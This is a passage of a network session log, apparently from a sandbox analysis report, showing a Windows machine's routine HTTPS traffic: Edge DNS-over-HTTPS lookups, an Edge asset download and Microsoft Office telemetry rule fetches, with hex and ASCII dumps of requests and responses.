2024-11-12 12:35:32 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP
2024-11-12 12:35:32 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Tue, 12 Nov 2024 12:35:32 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 8e168ffe3a6a6b2c-DFW alt-svc: h3=":443"; ma=86400
2024-11-12 12:35:32 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 01 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 c0 0c 00 01 00 01 00 00 01 1c 00 04 8e fa 71 5e 00 00 29 04 d0 00 00 00 00 01 98 00 0c 01 94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcomq^)

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
100	192.168.2.6	51598	162.159.61.3	443	6924	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-12 12:35:32 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-11-12 12:35:32 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP
2024-11-12 12:35:32 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Tue, 12 Nov 2024 12:35:32 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 8e168ffe3ac73177-DFW alt-svc: h3=":443"; ma=86400
2024-11-12 12:35:32 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 01 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 c0 0c 00 01 00 01 00 00 00 5d 00 04 8e fb ba 5e 00 00 29 04 d0 00 00 00 00 01 98 00 0c 01 94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom]^)

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
101	192.168.2.6	51594	162.159.61.3	443	6924	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-12 12:35:32 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-11-12 12:35:32 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP
2024-11-12 12:35:32 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Tue, 12 Nov 2024 12:35:32 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 8e168ffe38e7e524-DFW alt-svc: h3=":443"; ma=86400
2024-11-12 12:35:32 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 01 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 c0 0c 00 01 00 01 00 00 01 1f 00 04 8e fa 71 5e 00 00 29 04 d0 00 00 00 00 01 98 00 0c 01 94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcomq^)

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
102	192.168.2.6	51597	13.107.246.45	443	6924	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-12 12:35:32 UTC	711	OUT	GET /assets/domains_config_gz/2.8.76/asset?assetgroup=EntityExtractionDomainsConfig HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Edge-Asset-Group: EntityExtractionDomainsConfig Sec-Mesh-Client-Edge-Version: 117.0.2045.55 Sec-Mesh-Client-Edge-Channel: stable Sec-Mesh-Client-OS: Windows Sec-Mesh-Client-OS-Version: 10.0.19045 Sec-Mesh-Client-Arch: x86_64 Sec-Mesh-Client-WebView: 0 Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-12 12:35:32 UTC	576	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 12:35:32 GMT Content-Type: application/octet-stream Content-Length: 70207 Connection: close Content-Encoding: gzip Last-Modified: Thu, 07 Nov 2024 20:03:34 GMT ETag: 0x8DCFF6742E8F24C x-ms-request-id: efca23cb-901e-0062-69eb-322fdf000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241112T123532Z-16547b76f7f4k79zhC1DFWu9y00000000fk000000000d1t0 Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-12 12:35:32 UTC	15808	IN	Data Raw: 1f 8b 08 08 16 1d 2d 67 02 ff 61 73 73 65 74 00 ec bd 0b 97 db 36 b2 30 f8 57 b2 b9 33 b3 dd 89 d5 d6 5b dd d9 cd fa f4 d3 f1 f8 39 6d 3b 19 db f1 d5 01 49 48 a2 45 91 0c 1f 6a ab c3 be bf 7d 0b 05 80 00 08 50 52 db ce 77 ef b7 67 67 9c 16 09 14 0a 40 a1 50 a8 2a 14 c0 3f bf f7 93 78 16 ce bf ff e9 bb 3f bf 2f 92 25 8d a7 51 b8 0a 0b 78 ef 8d bb dd 07 df 7d 9f 92 39 9d fa 65 91 cc 66 90 38 1c f4 59 62 40 67 a4 8c 8a 69 94 f8 24 a2 d3 15 49 11 81 c7 f0 c0 df 0e 3c 00 94 97 e3 6b de f1 08 7b a5 11 7b a5 51 67 9e e1 6b 8c af 71 a7 cc f1 15 81 69 de 59 7d c6 d7 02 5f 8b 0e a5 ec d5 c7 5c 3f ef f8 b7 ec 35 20 ec 35 20 9d 60 89 af 14 5f 69 27 40 e0 19 e6 ce 48 27 c4 8a 66 21 be 86 1d 78 60 af 19 be 66 9d 19 e6 2e b0 ec 82 76 c2 08 5f 31 77 91 75 16 3c b7 c4 d7 Data Ascii: -gasset60W3[9m;IHEj}PRwgg@P*?x?/%Qx}9ef8Yb@gi$I<k{{QgkqiY}_\?5 5 `_i'@H'f!x`f.v_1wu<
2024-11-12 12:35:32 UTC	16384	IN	Data Raw: c5 f3 e8 07 bb 82 71 ba da 2a 0b c7 62 2c 30 96 c2 52 09 74 65 c0 2a 8a c3 88 95 9c 7c 3e a9 79 09 d4 fa 9a 9f 30 4a 49 28 2b d7 97 ff 7a 7b f9 fa cd f4 c9 05 68 2b 37 9c c1 08 01 cb 2f 28 f3 02 34 de 08 0c a6 34 da 38 c6 ec 48 27 33 28 96 9f 45 d9 4f 9f 12 f7 54 d2 47 a6 39 87 08 81 e9 6d 4f c1 43 97 10 bf ad 59 55 67 39 13 fe 1e 05 67 65 16 87 6c 9b f5 cb 90 60 eb 3d ea 25 09 33 8b f9 4a fb 10 ef 11 3b 7c e8 61 60 14 a0 60 b9 7c 16 e7 69 54 b1 c3 22 c0 e0 29 df c2 05 4c 8f bc f0 67 5e 04 75 33 51 9a b7 e1 61 1a 61 48 f5 c3 30 f7 62 91 d5 a8 34 39 2a 97 ff 2d f5 aa c1 c2 6c 78 e0 35 33 d1 42 b3 75 c4 be 3b f4 d0 68 83 51 a7 81 2d a0 ff 0d 5d 10 62 ed 7f 55 a5 99 9f 25 2b 2f a4 4d 09 21 65 43 c7 04 cf 93 19 f3 c1 d0 b6 e9 14 38 59 31 29 8b 4d 52 3a c4 97 Data Ascii: qb,0Rte\|>y0JI(+z{h+7/(448H'3(EOTG9mOCYUg9gel`=%3J;\|a``\|iT")Lg^u3QaaH0b49*-lx53Bu;hQ-]bU%+/M!eC8Y1)MR:
2024-11-12 12:35:32 UTC	16384	IN	Data Raw: c1 f4 52 a7 67 b3 99 ff bc b7 c2 8e 7c d3 4d 9a a5 bf dc f0 20 15 b1 bc 1f 82 9a 8d 98 a7 af db 80 6b 74 e7 ab 7c e6 18 7d 9a 2b 3e 34 2d 1a e7 c0 d5 e8 b4 a0 0e d4 7d 19 bb 69 52 58 a2 33 32 78 db 4b 2d cd 54 dd d2 2b 9c a0 29 69 1a ba 4a ee 0a 4d 33 5a 7b a7 1a 83 5f f3 f7 fe 2c 2f 84 3b 39 d0 56 82 ef 75 a4 f3 69 57 af 58 09 8c 2a 1d 24 b9 4e 6b cf 63 d0 74 99 e3 02 0f 26 7f 1a 86 a9 a8 69 fa 5a d8 25 83 c1 ea f8 fd 12 62 16 86 38 17 5a 19 6f 13 03 00 e6 6a 07 a4 40 be bb 20 de a6 de bf d1 06 75 32 1f c3 4f 67 41 ad 31 bd b0 9c ee 44 47 33 2a 92 9c d3 f6 35 64 a9 b1 d3 f6 b1 c7 a7 b4 80 af ea c1 2a 6c dd 81 a0 0b 67 ca d2 b2 11 7c 8d dc 39 47 56 d1 bd 08 e8 ec 3e 4f c9 56 d6 7a d3 9a 56 4d 17 50 41 9b 17 9b 37 36 da 2e 7c a4 ba 63 f5 72 cd 6b 58 b5 9b Data Ascii: Rg\|M kt\|}+>4-}iRX32xK-T+)iJM3Z{_,/;9VuiWX$Nkct&iZ%b8Zoj@ u2OgA1DG35d*lg\|9GV>OVzVMPA76.\|crkX
2024-11-12 12:35:32 UTC	16384	IN	Data Raw: 41 9e 48 c8 71 d7 39 94 dd f7 b6 3f 2a 48 d1 b5 2e 37 a4 97 5f 43 54 c9 8d d7 76 7a 14 e4 6f 3b 80 f7 6a 61 e8 6f 47 e9 2d cb 60 84 66 2b c0 b9 77 09 1b c0 32 5c aa 6c 0e 25 81 ed a0 5e 61 25 37 6f 3c a5 bc 1f 04 1a dd b1 04 1d c9 73 16 3a 58 a8 69 4d 12 c1 5e e9 66 5f 14 6c e4 9e d4 61 25 e1 2f c3 fc b8 ed df 80 5d 2b 3a 5b 4c 56 c9 72 1f 59 1d 6a 72 0b d2 b0 4c 8e d5 67 db 16 79 41 90 65 4f 4b 68 63 f6 d1 e5 db b6 6a 18 e6 ca 5f 04 79 2e 71 69 5d 0e 19 cc d9 f6 58 27 58 af 1c 18 04 f1 98 d2 bf 15 1e 37 ce e0 1e 88 54 83 3c 82 f8 a8 05 5f b0 1b 3f 2f 02 8f 31 a4 e9 1d ed 45 e6 e4 85 e6 b9 66 4c fd cd 8d e4 58 f7 79 73 8b 47 40 25 b6 0d 7f 78 ff a8 fe e7 7d 69 4a fc 00 c7 b0 37 a9 44 f0 40 1e e8 bd 41 8a b4 0a 5d 5a 2c 0e 60 f7 fb 81 3b 35 42 38 50 3b bc Data Ascii: AHq9?*H.7_CTvzo;jaoG-`f+w2\l%^a%7o<s:XiM^f_la%/]+:[LVrYjrLgyAeOKhcj_y.qi]X'X7T<_?/1EfLXysG@%x}iJ7D@A]Z,`;5B8P;
2024-11-12 12:35:32 UTC	5247	IN	Data Raw: 9a 2a 83 ab 27 93 58 c5 2b d2 9c af 2b 4e 0f 79 ac a9 56 57 20 b1 61 ca d2 f5 ed 38 df 10 b9 60 88 4c 48 ac b1 cd 10 b5 8f 76 49 19 f2 b6 d5 54 1d d1 9c b1 20 7a d3 64 f7 91 a2 0c 4d 73 6d e0 da be ee e6 87 03 9f 5e f7 4f 98 9c 12 cd 88 68 4c 2e b1 48 00 60 c3 31 74 31 8d 87 b4 32 56 02 4f bf e1 a9 3b c0 40 d6 24 8e 10 55 c7 c3 e7 8c f3 78 28 78 d3 94 de b0 5a 4d 22 eb 28 5c 22 00 98 8e 15 1a f8 ab ac 54 f4 5d 80 d0 a5 aa 6e 87 83 fd d6 f1 b0 c0 82 f7 f4 5e ef 2f 2b b8 62 a2 13 a1 4d ae 60 cf 59 3c b1 b1 f4 40 4d 41 74 7c ac 2c 5a 9e ef f4 d2 81 6d 69 e1 d3 8b 73 2c 84 2c 06 37 fd 72 38 10 a5 b2 13 51 f1 a0 a2 06 7d 3f 89 8f 72 35 a0 58 a0 46 79 2f b7 1f cc 57 92 ec c8 b4 b5 f2 5c 65 e7 30 5a 93 e3 b1 8e 5f f5 91 44 87 44 19 1d 59 83 cf 54 85 de 92 34 2e Data Ascii: *'X++NyVW a8`LHvIT zdMsm^OhL.H`1t12VO;@$Ux(xZM"(\"T]n^/+bM`Y<@MAt\|,Zmis,,7r8Q}?r5XFy/W\e0Z_DDYT4.

Session ID	Source IP	Source Port	Destination IP	Destination Port
103	192.168.2.6	51599	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 12:35:32 UTC	192	OUT	GET /rules/rule702350v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 12:35:33 UTC	517	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 12:35:32 GMT Content-Type: text/xml Content-Length: 1358 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:54 GMT ETag: "0x8DC582BE6431446" x-ms-request-id: 3caab57d-601e-005c-6cd2-2cf06f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T123532Z-16547b76f7f775p5hC1DFWzdvn0000000fkg000000009dm9 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-12 12:35:33 UTC	1358	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 6f 69 63 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 6f 69 63 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702350" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Voice" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVoice" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
104	192.168.2.6	51601	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 12:35:32 UTC	192	OUT	GET /rules/rule701251v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 12:35:33 UTC	538	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 12:35:33 GMT Content-Type: text/xml Content-Length: 1395 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:41 GMT ETag: "0x8DC582BDE12A98D" x-ms-request-id: 43524f19-601e-003e-07d2-2c3248000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T123533Z-16547b76f7f7scqbhC1DFW0m5w0000000fdg00000000bngp x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-12 12:35:33 UTC	1395	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 69 73 69 6f 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 69 73 69 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701251" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Visio.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVisi

Session ID	Source IP	Source Port	Destination IP	Destination Port
105	192.168.2.6	51602	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 12:35:32 UTC	192	OUT	GET /rules/rule701250v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 12:35:33 UTC	517	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 12:35:33 GMT Content-Type: text/xml Content-Length: 1358 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BE022ECC5" x-ms-request-id: 70b2909d-801e-00ac-33c1-2cfd65000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T123533Z-16547b76f7fkj7j4hC1DFW0a9g0000000fp0000000004vt4 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-12 12:35:33 UTC	1358	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 69 73 69 6f 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 69 73 69 6f 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701250" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Visio" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVisio" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
106	192.168.2.6	51600	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 12:35:32 UTC	192	OUT	GET /rules/rule702351v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 12:35:33 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 12:35:32 GMT Content-Type: text/xml Content-Length: 1395 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BE017CAD3" x-ms-request-id: b51813c1-401e-002a-5f12-32c62e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T123532Z-16547b76f7fp6mhthC1DFWrggn0000000fq000000000a7gz x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-12 12:35:33 UTC	1395	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 6f 69 63 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 6f 69 63 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702351" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Voice.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVoic

Session ID	Source IP	Source Port	Destination IP	Destination Port
107	192.168.2.6	51603	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 12:35:33 UTC	192	OUT	GET /rules/rule700051v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 12:35:33 UTC	517	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 12:35:33 GMT Content-Type: text/xml Content-Length: 1389 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE10A6BC1" x-ms-request-id: 8f98044c-301e-006e-14bd-2cf018000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T123533Z-16547b76f7fxsvjdhC1DFWprrs0000000ff000000000dhgq x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-12 12:35:33 UTC	1389	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 30 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 55 58 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 55 58 22 20 53 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700051" V="1" DC="SM" EN="Office.Telemetry.Event.Office.UX.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenUX" S="

Session ID	Source IP	Source Port	Destination IP	Destination Port
108	192.168.2.6	51608	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 12:35:33 UTC	192	OUT	GET /rules/rule700050v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
